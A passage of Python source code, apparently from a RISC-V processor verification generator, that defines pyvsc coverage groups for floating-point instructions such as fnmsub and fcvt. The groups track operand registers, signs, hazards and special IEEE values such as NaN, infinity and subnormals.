self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs3_sign = vsc.coverpoint(lambda: self.instr.fs3_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_fs1_sign, self.cp_fs2_sign, self.cp_fs3_sign, self.cp_fd_sign]) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs3_value = vsc.coverpoint(lambda: self.instr.fs3_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fnmsub_s_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs3 = vsc.coverpoint(lambda: self.instr.fs3, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs3_sign = vsc.coverpoint(lambda: self.instr.fs3_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_fs1_sign, self.cp_fs2_sign, self.cp_fs3_sign, self.cp_fd_sign]) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs3_value = vsc.coverpoint(lambda: self.instr.fs3_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fnmsub_d_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs3 = vsc.coverpoint(lambda: self.instr.fs3, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs3_sign = vsc.coverpoint(lambda: self.instr.fs3_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_fs1_sign, self.cp_fs2_sign, self.cp_fs3_sign, self.cp_fd_sign]) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs3_value = vsc.coverpoint(lambda: self.instr.fs3_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fcvt_s_d_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t()) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t()) @vsc.covergroup class fcvt_d_s_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t()) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t()) @vsc.covergroup class fcvt_w_s_cg(object): def __init__(self, precision, sign_typ): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fcvt_wu_s_cg(object): def __init__(self, precision, sign_typ): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, 